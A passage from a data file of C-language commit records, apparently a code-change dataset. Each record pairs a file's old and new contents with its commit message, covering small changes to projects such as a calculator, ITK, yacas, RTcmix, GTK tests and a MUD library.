kim11\/dealii,shakirbsm\/dealii,EGP-CIG-REU\/dealii,Arezou-gh\/dealii,kalj\/dealii,johntfoster\/dealii,EGP-CIG-REU\/dealii,shakirbsm\/dealii,maieneuro\/dealii,kalj\/dealii,adamkosik\/dealii,johntfoster\/dealii,nicolacavallini\/dealii,kalj\/dealii,spco\/dealii,shakirbsm\/dealii,johntfoster\/dealii,YongYang86\/dealii,gpitton\/dealii,angelrca\/dealii,pesser\/dealii,jperryhouts\/dealii,pesser\/dealii,EGP-CIG-REU\/dealii,shakirbsm\/dealii,JaeryunYim\/dealii,sairajat\/dealii,sairajat\/dealii,jperryhouts\/dealii,pesser\/dealii,naliboff\/dealii,jperryhouts\/dealii,ibkim11\/dealii,adamkosik\/dealii,jperryhouts\/dealii,ESeNonFossiIo\/dealii,shakirbsm\/dealii,adamkosik\/dealii,ibkim11\/dealii,danshapero\/dealii,ESeNonFossiIo\/dealii,johntfoster\/dealii,angelrca\/dealii,ibkim11\/dealii,andreamola\/dealii,naliboff\/dealii,johntfoster\/dealii,angelrca\/dealii,nicolacavallini\/dealii,JaeryunYim\/dealii,kalj\/dealii,maieneuro\/dealii,nicolacavallini\/dealii,Arezou-gh\/dealii,danshapero\/dealii,nicolacavallini\/dealii,andreamola\/dealii,maieneuro\/dealii,nicolacavallini\/dealii,danshapero\/dealii,spco\/dealii,EGP-CIG-REU\/dealii,ESeNonFossiIo\/dealii"}
{"commit":"8f1e45e84583b476bd86de7fb2d23bf391a67f9a","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <string.h>\n#include <math.h>\n\n#include \"calc.h\"\n#include \"input.h\"\n\nint main(void)\n{\n    while (1){\n        char input[65536];\n        double ans;\n\n        read_line(input);\n        if (strcmp(input, \"exit\") == 0 || strcmp(input, \"quit\") == 0){\n            break;\n        }\n        ans = calc(input, 0);\n        if (floor(ans) == ans){\n            printf(\"%.0f\\n\", ans);\n        }\n        else{\n            printf(\"%f\\n\", calc(input, 0));\n        }\n    }\n\n    return (0);\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n#include <math.h>\n\n#include \"calc.h\"\n#include \"input.h\"\n\nint main(void)\n{\n    while (1){\n        char input[65536];\n        double ans;\n\n        read_line(input);\n        if (strlen(input) == 0 || strcmp(input, \"exit\") == 0 || strcmp(input, \"quit\") == 0){\n            break;\n        }\n        ans = calc(input, 0);\n        if (floor(ans) == ans){\n            printf(\"%.0f\\n\", ans);\n        }\n        else{\n            printf(\"%f\\n\", calc(input, 0));\n        }\n    }\n\n    return (0);\n}\n","subject":"Exit when input line is empty","message":"Exit when input line is empty\n","lang":"C","license":"mit","repos":"Roadagain\/Calculator,Roadagain\/Calculator"}
{"commit":"3201618e6105204892a52265ecd84372f6b7925b","old_file":"CMake\/TestQnanhibit.c","new_file":"CMake\/TestQnanhibit.c","old_contents":"#include <stdio.h>\n#include <float.h>\n\nint\nmain(int argc, char *argv[])\n{\n  char *me;\n  float qnan, zero;\n  int i;\n\n  me = argv[0];\n  if (sizeof(float) != sizeof(int))\n    {\n    fprintf(stderr, \"%s: MADNESS:  sizeof(float)=%d != sizeof(int)=%d\\n\",\n            me, (int)sizeof(float), (int)sizeof(int));\n    return -1;\n    }\n\n  zero = 0;\n  qnan=zero\/zero;\n  i=*(int*)(&qnan);\n  printf(\"-DTEEM_QNANHIBIT=%d\\n\", (i >> 22) & 1);\n  return (int)((i >> 22) & 1);\n}\n","new_contents":"#include <stdio.h>\n#include <float.h>\n\n#if defined(__BORLANDC__)\n# include <math.h>\n# include <float.h>\n#endif\n\n\nint\nmain(int argc, char *argv[])\n{\n#if defined(__BORLANDC__)\n  \/\/ Disable floating point exceptions in Borland\n  _control87(MCW_EM, MCW_EM);\n#endif \/\/ defined(__BORLANDC__)\n\n  char *me;\n  float qnan, zero;\n  int i;\n\n  me = argv[0];\n  if (sizeof(float) != sizeof(int))\n    {\n    fprintf(stderr, \"%s: MADNESS:  sizeof(float)=%d != sizeof(int)=%d\\n\",\n            me, (int)sizeof(float), (int)sizeof(int));\n    return -1;\n    }\n\n  zero = 0;\n  qnan=zero\/zero;\n  i=*(int*)(&qnan);\n  printf(\"-DTEEM_QNANHIBIT=%d\\n\", (i >> 22) & 1);\n  return (int)((i >> 22) & 1);\n}\n","subject":"Disable floating point exceptions on Borland compiler","message":"FIX: Disable floating point exceptions on Borland compiler\n","lang":"C","license":"apache-2.0","repos":"LucHermitte\/ITK,cpatrick\/ITK-RemoteIO,hendradarwin\/ITK,PlutoniumHeart\/ITK,blowekamp\/ITK,InsightSoftwareConsortium\/ITK,daviddoria\/itkHoughTransform,biotrump\/ITK,hendradarwin\/ITK,LucHermitte\/ITK,CapeDrew\/DCMTK-ITK,CapeDrew\/DCMTK-ITK,wkjeong\/ITK,InsightSoftwareConsortium\/ITK,eile\/ITK,hinerm\/ITK,GEHC-Surgery\/ITK,paulnovo\/ITK,fbudin69500\/ITK,BlueBrain\/ITK,vfonov\/ITK,jmerkow\/ITK,Kitware\/ITK,Kitware\/ITK,fuentesdt\/InsightToolkit-dev,hjmjohnson\/ITK,heimdali\/ITK,fedral\/ITK,fedral\/ITK,fedral\/ITK,stnava\/ITK,GEHC-Surgery\/ITK,cpatrick\/ITK-RemoteIO,fbudin69500\/ITK,Kitware\/ITK,heimdali\/ITK,hjmjohnson\/ITK,BlueBrain\/ITK,hinerm\/ITK,daviddoria\/itkHoughTransform,richardbeare\/ITK,heimdali\/ITK,hinerm\/ITK,hendradarwin\/ITK,BlueBrain\/ITK,msmolens\/ITK,malaterre\/ITK,BRAINSia\/ITK,atsnyder\/ITK,BRAINSia\/ITK,Kitware\/ITK,heimdali\/ITK,daviddoria\/itkHoughTransform,PlutoniumHeart\/ITK,InsightSoftwareConsortium\/ITK,wkjeong\/ITK,wkjeong\/ITK,BRAINSia\/ITK,LucasGandel\/ITK,zachary-williamson\/ITK,CapeDrew\/DCMTK-ITK,ajjl\/ITK,rhgong\/itk-with-dom,fuentesdt\/InsightToolkit-dev,cpatrick\/ITK-RemoteIO,thewtex\/ITK,biotrump\/ITK,fuentesdt\/InsightToolkit-dev,stnava\/ITK,BRAINSia\/ITK,richardbeare\/ITK,paulnovo\/ITK,paulnovo\/ITK,hjmjohnson\/ITK,ajjl\/ITK,LucasGandel\/ITK,jmerkow\/ITK,wkjeong\/ITK,jmerkow\/ITK,hendradarwin\/ITK,msmolens\/ITK,jcfr\/ITK,paulnovo\/ITK,blowekamp\/ITK,paulnovo\/ITK,CapeDrew\/DITK,cpatrick\/ITK-RemoteIO,zachary-williamson\/ITK,msmolens\/ITK,LucasGandel\/ITK,paulnovo\/ITK,InsightSoftwareConsortium\/ITK,CapeDrew\/DITK,eile\/ITK,ajjl\/ITK,msmolens\/ITK,fbudin69500\/ITK,BRAINSia\/ITK,PlutoniumHeart\/ITK,GEHC-Surgery\/ITK,GEHC-Surgery\/ITK,jcfr\/ITK,malaterre\/ITK,CapeDrew\/DITK,GEHC-Surgery\/ITK,spinicist\/ITK,PlutoniumHeart\/ITK,malaterre\/ITK,biotrump\/ITK,ajjl\/ITK,thewtex\/ITK,biotrump\/ITK,CapeDrew\/DITK,fbudin69500\/ITK,jcfr\/ITK,CapeDrew\/DITK,LucasGandel\/ITK,fedral\/ITK,rhgong\/itk-with-dom,PlutoniumHeart\/ITK,zachary-williamson\/ITK,InsightSoftwareConsortium\/ITK,itkvideo\/ITK,rhgong\/itk-with-dom,Kitware\/ITK,atsnyder\/ITK,malaterre\/ITK,ajjl\/ITK,fbudin69500\/ITK,richardbeare\/ITK,fbudin69500\/ITK,jmerkow\/ITK,thewtex\/ITK,heimdali\/ITK,heimdali\/ITK,spinicist\/ITK,hinerm\/ITK,paulnovo\/ITK,zachary-williamson\/ITK,CapeDrew\/DCMTK-ITK,richardbeare\/ITK,rhgong\/itk-with-dom,hinerm\/ITK,GEHC-Surgery\/ITK,wkjeong\/ITK,zachary-williamson\/ITK,BRAINSia\/ITK,jmerkow\/ITK,atsnyder\/ITK,blowekamp\/ITK,itkvideo\/ITK,jcfr\/ITK,cpatrick\/ITK-RemoteIO,GEHC-Surgery\/ITK,itkvideo\/ITK,jmerkow\/ITK,daviddoria\/itkHoughTransform,ajjl\/ITK,BRAINSia\/ITK,rhgong\/itk-with-dom,paulnovo\/ITK,malaterre\/ITK,jcfr\/ITK,hinerm\/ITK,richardbeare\/ITK,itkvideo\/ITK,BlueBrain\/ITK,zachary-williamson\/ITK,biotrump\/ITK,stnava\/ITK,hjmjohnson\/ITK,PlutoniumHeart\/ITK,PlutoniumHeart\/ITK,itkvideo\/ITK,blowekamp\/ITK,blowekamp\/ITK,wkjeong\/ITK,thewtex\/ITK,blowekamp\/ITK,richardbeare\/ITK,stnava\/ITK,malaterre\/ITK,rhgong\/itk-with-dom,PlutoniumHeart\/ITK,eile\/ITK,Kitware\/ITK,thewtex\/ITK,rhgong\/itk-with-dom,CapeDrew\/DCMTK-ITK,wkjeong\/ITK,fuentesdt\/InsightToolkit-dev,InsightSoftwareConsortium\/ITK,spinicist\/ITK,wkjeong\/ITK,daviddoria\/itkHoughTransform,LucasGandel\/ITK,spinicist\/ITK,CapeDrew\/DITK,atsnyder\/ITK,hinerm\/ITK,hinerm\/ITK,jmerkow\/ITK,vfonov\/ITK,LucHermitte\/ITK,stnava\/ITK,blowekamp\/ITK,fedral\/ITK,LucasGandel\/ITK,msmolens\/ITK,ajjl\/ITK,atsnyder\/ITK,BlueBrain\/ITK,CapeDrew\/DCMTK-ITK,hjmjohnson\/ITK,vfonov\/ITK,itkvideo\/ITK,rhgong\/itk-with-dom,fuentesdt\/InsightToolkit-dev,heimdali\/ITK,jmerkow\/ITK,spinicist\/ITK,spinicist\/ITK,heimdali\/ITK,LucHermitte\/ITK,zachary-williamson\/ITK,fedral\/ITK,thewtex\/ITK,Kitware\/ITK,vfonov\/ITK,spinicist\/ITK,thewtex\/ITK,atsnyder\/ITK,vfonov\/ITK,fuentesdt\/InsightToolkit-dev,hendradarwin\/ITK,msmolens\/ITK,CapeDrew\/DITK,eile\/ITK,spinicist\/ITK,CapeDrew\/DITK,CapeDrew\/DCMTK-ITK,InsightSoftwareConsortium\/ITK,malaterre\/ITK,vfonov\/ITK,LucHermitte\/ITK,itkvideo\/ITK,CapeDrew\/DCMTK-ITK,eile\/ITK,daviddoria\/itkHoughTransform,jcfr\/ITK,cpatrick\/ITK-RemoteIO,fbudin69500\/ITK,vfonov\/ITK,stnava\/ITK,CapeDrew\/DCMTK-ITK,fedral\/ITK,hinerm\/ITK,hendradarwin\/ITK,fuentesdt\/InsightToolkit-dev,LucasGandel\/ITK,LucHermitte\/ITK,atsnyder\/ITK,jcfr\/ITK,eile\/ITK,blowekamp\/ITK,malaterre\/ITK,cpatrick\/ITK-RemoteIO,biotrump\/ITK,daviddoria\/itkHoughTransform,BlueBrain\/ITK,hjmjohnson\/ITK,biotrump\/ITK,richardbeare\/ITK,vfonov\/ITK,LucHermitte\/ITK,spinicist\/ITK,stnava\/ITK,vfonov\/ITK,fuentesdt\/InsightToolkit-dev,atsnyder\/ITK,hendradarwin\/ITK,eile\/ITK,hjmjohnson\/ITK,cpatrick\/ITK-RemoteIO,msmolens\/ITK,stnava\/ITK,zachary-williamson\/ITK,LucasGandel\/ITK,fuentesdt\/InsightToolkit-dev,zachary-williamson\/ITK,BlueBrain\/ITK,daviddoria\/itkHoughTransform,stnava\/ITK,daviddoria\/itkHoughTransform,CapeDrew\/DITK,eile\/ITK,LucHermitte\/ITK,eile\/ITK,GEHC-Surgery\/ITK,BlueBrain\/ITK,itkvideo\/ITK,hendradarwin\/ITK,atsnyder\/ITK,biotrump\/ITK,ajjl\/ITK,malaterre\/ITK,jcfr\/ITK,msmolens\/ITK,fbudin69500\/ITK,itkvideo\/ITK,fedral\/ITK"}
{"commit":"d3821b4d33b0ac75f5880c53ffdf960b3d7ea419","old_file":"src\/choices.h","new_file":"src\/choices.h","old_contents":"\/** \\file choices.h switches that control debugging in source code.\n *  Uncomment the defines below to allow a specific type of compilation\n *\/\n\n#ifndef __choices_h__\n#define __choices_h__\n\n\/** Turn on YACAS_DEBUG if you want to see run-time statistics\n * after typing Exit()\n *\/\n\/\/#define YACAS_DEBUG\n\n\/** Turn on USE_ASSERT to find programming errors through the asserts\n *  placed in various places of the application.\n *\/\n\/\/#define USE_ASSERT\n\n\/** Turn on NO_EXCEPTIONS if you want to disable run-time checking\n *  while executing commands.\n *\/\n\/\/#define NO_EXCEPTIONS\n\n\/** Enable long reference counts. This makes EVERY object 2 bytes\n larger, so use only if needed.\n *\/\n\/\/#define USE_LONG_REF_COUNTS\n\n#endif\n","new_contents":"\/** \\file choices.h switches that control debugging in source code.\n *  Uncomment the defines below to allow a specific type of compilation\n *\/\n\n#ifndef __choices_h__\n#define __choices_h__\n\n\/** Turn on YACAS_DEBUG if you want to see run-time statistics\n * after typing Exit()\n *\/\n\/\/#define YACAS_DEBUG\n\n\/** Turn on USE_ASSERT to find programming errors through the asserts\n *  placed in various places of the application.\n *\/\n\/\/#define USE_ASSERT\n\n\/** Turn on NO_EXCEPTIONS if you want to disable run-time checking\n *  while executing commands.\n *\/\n\/\/#define NO_EXCEPTIONS\n\n\/** Enable long reference counts. This makes EVERY object 2 bytes\n larger, so use only if needed.\n *\/\n#define USE_LONG_REF_COUNTS\n\n#endif\n","subject":"Use at least 32 bits long reference counters by default to avoid nasty, hard to track segfaults when calculations get larger","message":"Use at least 32 bits long reference counters by default to avoid nasty, \nhard to track segfaults when calculations get larger\n","lang":"C","license":"lgpl-2.1","repos":"grzegorzmazur\/yacas,tomaszkrysiuk\/yacas,MateuszSnamina\/yacas,MateuszSnamina\/yacas,tomaszkrysiuk\/yacas,qwert2003\/yacas,martanoga\/yacas,qwert2003\/yacas,grzegorzmazur\/yacas,grzegorzmazur\/yacas,grzegorzmazur\/yacas,MateuszSnamina\/yacas,martanoga\/yacas,grzegorzmazur\/yacas,tomaszkrysiuk\/yacas,qwert2003\/yacas,martanoga\/yacas,MateuszSnamina\/yacas,qwert2003\/yacas,grzegorzmazur\/yacas,tomaszkrysiuk\/yacas,martanoga\/yacas,grzegorzmazur\/yacas,MateuszSnamina\/yacas,MateuszSnamina\/yacas,MateuszSnamina\/yacas,qwert2003\/yacas,tomaszkrysiuk\/yacas,qwert2003\/yacas,tomaszkrysiuk\/yacas,martanoga\/yacas,qwert2003\/yacas,tomaszkrysiuk\/yacas,martanoga\/yacas,martanoga\/yacas"}
{"commit":"d53c524fde11a730c3f89d709980706ec93ce881","old_file":"src\/rtcmix\/gen\/fsize.c","new_file":"src\/rtcmix\/gen\/fsize.c","old_contents":"#include <ugens.h>\n#include <stdio.h>\n\n\/* these 3 defined in makegen.c *\/\nextern double *farrays[];\nextern int sizeof_farray[];\nextern int f_goto[];\n\n\nint\nfsize(int genno)\n\/*   returns the size of function number genno *\/\n{\n\tif(!sizeof_farray[f_goto[genno]]) {\n\t       fprintf(stderr,\"fsize: You haven't allocated function %d yet!\\n\",genno);\n\t\tclosesf();  \n\t}\n\treturn(sizeof_farray[f_goto[genno]]);\n}\n","new_contents":"#include <ugens.h>\n#include <stdio.h>\n\n\/* these 3 defined in makegen.c *\/\nextern double *farrays[];\nextern int sizeof_farray[];\nextern int f_goto[];\n\n\n\/*   returns the size of function number genno *\/\nint\nfsize(int genno)\n{\n\tif (!sizeof_farray[f_goto[genno]]) {\n\t\tdie(\"fsize\", \"You haven't allocated function %d yet!\", genno);\n\t\treturn -1;\n\t}\n\treturn sizeof_farray[f_goto[genno]];\n}\n","subject":"Use die and return instead of exiting.","message":"Use die and return instead of exiting.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"973ad55a32a58adc24d0d4f217a57cca3289e71a","old_file":"src\/main\/cc\/any_sketch\/util\/macros.h","new_file":"src\/main\/cc\/any_sketch\/util\/macros.h","old_contents":"#ifndef SRC_MAIN_CC_ANY_SKETCH_UTIL_MACROS_H_\n#define SRC_MAIN_CC_ANY_SKETCH_UTIL_MACROS_H_\n\n#define RETURN_IF_ERROR(status)        \\\n  do {                                 \\\n    Status _status = (status);         \\\n    if (!_status.ok()) return _status; \\\n  } while (0)\n\n#endif  \/\/ SRC_MAIN_CC_ANY_SKETCH_UTIL_MACROS_H_\n","new_contents":"\/*\n * Copyright 2020 The Any Sketch Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SRC_MAIN_CC_ANY_SKETCH_UTIL_MACROS_H_\n#define SRC_MAIN_CC_ANY_SKETCH_UTIL_MACROS_H_\n\n#define RETURN_IF_ERROR(status)        \\\n  do {                                 \\\n    Status _status = (status);         \\\n    if (!_status.ok()) return _status; \\\n  } while (0)\n\n#endif  \/\/ SRC_MAIN_CC_ANY_SKETCH_UTIL_MACROS_H_\n","subject":"Add LICENSE and source headers to any-sketch repo.","message":"Add LICENSE and source headers to any-sketch repo.\n\nBUG=161899344\nChange-Id: I201d5420c80f9e16b6832c1bc31adf6ca6ab8cb1\n","lang":"C","license":"apache-2.0","repos":"world-federation-of-advertisers\/common-cpp"}
{"commit":"e795d5fbcbb4658c49cb607694eb07ce85a10528","old_file":"php_shmt.h","new_file":"php_shmt.h","old_contents":"#ifndef PHP_SHMT_H\n\t#define PHP_SHMT_H\n\n\t#define PHP_SHMT_EXTNAME\t\"SHMT\"\n\t#define PHP_SHMT_EXTVER\t\t\"1.0\"\n\n\t#ifdef HAVE_CONFIG_H\n\t\t#include \"config.h\"\n\t#endif \/* HAVE_CONFIG_H *\/\n\n\textern zend_module_entry shmt_module_entry;\n\t#define phpext_shmt_ptr &shmt_module_entry;\n\n#endif \/* PHP_SHMT_H *\/\n","new_contents":"#ifndef PHP_SHMT_H\n\t#define PHP_SHMT_H\n\n\t#define PHP_SHMT_EXTNAME\t\"SHMT\"\n\t#define PHP_SHMT_EXTVER\t\t\"1.0.1dev\"\n\n\t#ifdef HAVE_CONFIG_H\n\t\t#include \"config.h\"\n\t#endif \/* HAVE_CONFIG_H *\/\n\n\textern zend_module_entry shmt_module_entry;\n\t#define phpext_shmt_ptr &shmt_module_entry;\n\n#endif \/* PHP_SHMT_H *\/\n","subject":"Modify the SHMT version to 1.0.1dev","message":"Modify the SHMT version to 1.0.1dev\n","lang":"C","license":"mit","repos":"sevenval\/SHMT,sevenval\/SHMT"}
{"commit":"192d8dbbd110766bf3c5c5bf39f1f08ffbe0760b","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\n\tfriend class Transaction;\npublic:\n\tTransaction&& begin();\n\n\t\/\/ Modifying methods\n\tstatic bool post(TaskId, SerializedTask&);\n\tstatic bool put(TaskId, SerializedTask&);\n\tstatic bool erase(TaskId);\n\n\tstatic std::vector<SerializedTask> getAllTask();\n\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\n\tfriend class Transaction;\npublic:\n\tTransaction&& begin();\n\n\t\/\/ Modifying methods\n\tbool post(TaskId, SerializedTask&);\n\tbool put(TaskId, SerializedTask&);\n\tbool erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Change methods in DataStore to non-static anymore (it is alr a singleton)","message":"Change methods in DataStore to non-static anymore (it is alr a singleton)\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"f94601e977ea6bf7c466e30d62cce8f05d9973fd","old_file":"src\/shared\/buxtonkey.h","new_file":"src\/shared\/buxtonkey.h","old_contents":"","new_contents":"\/*\n * This file is part of buxton.\n *\n * Copyright (C) 2013 Intel Corporation\n *\n * buxton is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#ifdef HAVE_CONFIG_H\n    #include \"config.h\"\n#endif\n\n#include \"buxton.h\"\n#include \"buxtonstring.h\"\n\n\/**\n * Represents a data key in Buxton\n *\/\ntypedef struct BuxtonKey {\n\tBuxtonString group; \/**<Value of the key's group *\/\n\tBuxtonString name; \/**<Value of the key's name *\/\n\tBuxtonString layer; \/**<Value of the key's layer *\/\n\tBuxtonDataType type; \/**<Type of value associated with key *\/\n} _BuxtonKey;\n\n\/*\n * Editor modelines  -  http:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: t\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 noexpandtab:\n * :indentSize=8:tabSize=8:noTabs=false:\n *\/\n","subject":"Add internal representation of a BuxtonKey","message":"shared: Add internal representation of a BuxtonKey\n\nKeys will represent a single item identifying a value in buxton. The\nkey can contain any data needed to reference a value.\n","lang":"C","license":"lgpl-2.1","repos":"sofar\/buxton,sofar\/buxton"}
{"commit":"c8f1d5e9e726372211ccf0d44017d565aabcc3dc","old_file":"openacc\/2-manual-sum.c","new_file":"openacc\/2-manual-sum.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\nint main(int argc, char **argv) {\n  const int sample = 10000;\n  size_t size = sample * sizeof(int);\n  int *restrict a1, *restrict a2, *restrict a3;\n  a1 = (int*) malloc(size);\n  a2 = (int*) malloc(size);\n  a3 = (int*) malloc(size);\n  int sum = 0;\n  int i;\n  #pragma acc data create(i, a1[0:sample], a2[0:sample], a3[0:sample]), copyin(sample), copy(sum)\n  {\n    #pragma acc parallel loop\n    for (i = 0; i < sample; ++i) {\n      a1[i] = a2[i] = 1;\n    }\n\n    #pragma acc parallel loop\n    for (i = 0; i < sample; ++i) {\n      a3[i] = a1[i] + a2[i];\n    }\n\n    #pragma acc parallel loop reduction(+:sum)\n    for (i = 0; i < sample; ++i) {\n      sum += a3[i];\n    }\n  }\n\n  free(a1);\n  free(a2);\n  free(a3);\n\n  printf(\"Sample size: %d | Sum: %d\\n\", sample, sum);\n}\n","subject":"Add a more elaborate example of acc computation.","message":"Add a more elaborate example of acc computation.\n","lang":"C","license":"mit","repos":"Timer\/parallel-computing,Timer\/parallel-computing"}
{"commit":"06a8fac3e909e7df4bd888cbb76964479ae80abc","old_file":"gtk\/tests\/accessible.c","new_file":"gtk\/tests\/accessible.c","old_contents":"#include <gtk\/gtk.h>\n\nstatic void\ntest_type (GType t)\n{\n  GtkWidget *w;\n  AtkObject *a;\n\n  if (g_type_is_a (t, GTK_TYPE_WIDGET))\n    {\n      w = (GtkWidget *)g_object_new (t, NULL);\n      a = gtk_widget_get_accessible (w);\n\n      g_assert (GTK_IS_ACCESSIBLE (a));\n      g_assert (gtk_accessible_get_widget (GTK_ACCESSIBLE (a)) == w);\n\n      g_object_unref (w);\n    }\n}\n\nint\nmain (int argc, char *argv[])\n{\n  GType *tp;\n  gint i;\n\n  gtk_init (&argc, &argv);\n\n  tp = g_new0 (GType, 1000);\n#undef GDK_WINDOWING_X11\n#include \"..\/gtktypefuncs.c\"\n  *tp = 0;\n\n  for (i = 0; tp[i]; i++)\n    test_type (tp[i]);\n\n  return 0;\n}\n","new_contents":"#include <gtk\/gtk.h>\n\nstatic void\ntest_type (GType t)\n{\n  GtkWidget *w;\n  AtkObject *a;\n\n  if (g_type_is_a (t, GTK_TYPE_WIDGET))\n    {\n      w = (GtkWidget *)g_object_new (t, NULL);\n      a = gtk_widget_get_accessible (w);\n\n      g_assert (GTK_IS_ACCESSIBLE (a));\n      g_assert (gtk_accessible_get_widget (GTK_ACCESSIBLE (a)) == w);\n\n      g_object_unref (w);\n    }\n}\n\nint\nmain (int argc, char *argv[])\n{\n  const GType *tp;\n  guint i, n;\n\n  gtk_init (&argc, &argv);\n\n  tp = gtk_test_list_all_types (&n);\n\n  for (i = 0; i < n; n++)\n    test_type (tp[i]);\n\n  return 0;\n}\n","subject":"Use testing API instead of duplicating it","message":"tests: Use testing API instead of duplicating it\n","lang":"C","license":"lgpl-2.1","repos":"ebassi\/gtk,ebassi\/gtk,jigpu\/gtk,chergert\/gtk,ahodesuka\/gtk,msteinert\/gtk,Lyude\/gtk-,bratsche\/gtk-,Adamovskiy\/gtk,davidgumberg\/gtk,davidgumberg\/gtk,alexlarsson\/gtk,ahodesuka\/gtk,msteinert\/gtk,bratsche\/gtk-,chergert\/gtk,Sidnioulz\/SandboxGtk,ahodesuka\/gtk,jadahl\/gtk,Lyude\/gtk-,bratsche\/gtk-,chergert\/gtk,Sidnioulz\/SandboxGtk,alexlarsson\/gtk,jadahl\/gtk,Distrotech\/gtk2,jigpu\/gtk,jessevdk\/gtk,Distrotech\/gtk2,Lyude\/gtk-,grubersjoe\/adwaita,grubersjoe\/adwaita,jigpu\/gtk,bratsche\/gtk-,jadahl\/gtk,alexlarsson\/gtk,grubersjoe\/adwaita,Sidnioulz\/SandboxGtk,Adamovskiy\/gtk,davidgumberg\/gtk,alexlarsson\/gtk,Lyude\/gtk-,jigpu\/gtk,davidgumberg\/gtk,Sidnioulz\/SandboxGtk,jessevdk\/gtk,ahodesuka\/gtk,jessevdk\/gtk,grubersjoe\/adwaita,alexlarsson\/gtk,Lyude\/gtk-,jigpu\/gtk,ebassi\/gtk,bratsche\/gtk-,ebassi\/gtk,Sidnioulz\/SandboxGtk,chergert\/gtk,jessevdk\/gtk,chergert\/gtk,chergert\/gtk,jessevdk\/gtk,jigpu\/gtk,jadahl\/gtk,alexlarsson\/gtk,Adamovskiy\/gtk,Sidnioulz\/SandboxGtk,Distrotech\/gtk2,chergert\/gtk,msteinert\/gtk,grubersjoe\/adwaita,ebassi\/gtk,Lyude\/gtk-,Adamovskiy\/gtk,Distrotech\/gtk2,ebassi\/gtk,Lyude\/gtk-,jadahl\/gtk,Distrotech\/gtk2,Adamovskiy\/gtk,msteinert\/gtk,jigpu\/gtk,davidgumberg\/gtk,bratsche\/gtk-,Adamovskiy\/gtk,jessevdk\/gtk,ahodesuka\/gtk,msteinert\/gtk,grubersjoe\/adwaita,ahodesuka\/gtk,alexlarsson\/gtk,alexlarsson\/gtk,jadahl\/gtk,Lyude\/gtk-,grubersjoe\/adwaita,davidgumberg\/gtk,jadahl\/gtk,Distrotech\/gtk2,msteinert\/gtk,Adamovskiy\/gtk,jigpu\/gtk,jadahl\/gtk,davidgumberg\/gtk,grubersjoe\/adwaita,davidgumberg\/gtk,ahodesuka\/gtk,chergert\/gtk,jessevdk\/gtk,Adamovskiy\/gtk,ahodesuka\/gtk"}
{"commit":"aacc405f32026f676293f5ba64d50e9a70ef50a9","old_file":"testmud\/mud\/home\/Test\/initd.c","new_file":"testmud\/mud\/home\/Test\/initd.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/log.h>\n#include <kotaka\/paths.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tLOGD->post_message(\"test\", LOG_DEBUG, \"Test subsystem loading...\");\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n\n\tLOGD->post_message(\"test\", LOG_DEBUG, \"Test subsystem loaded\");\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT 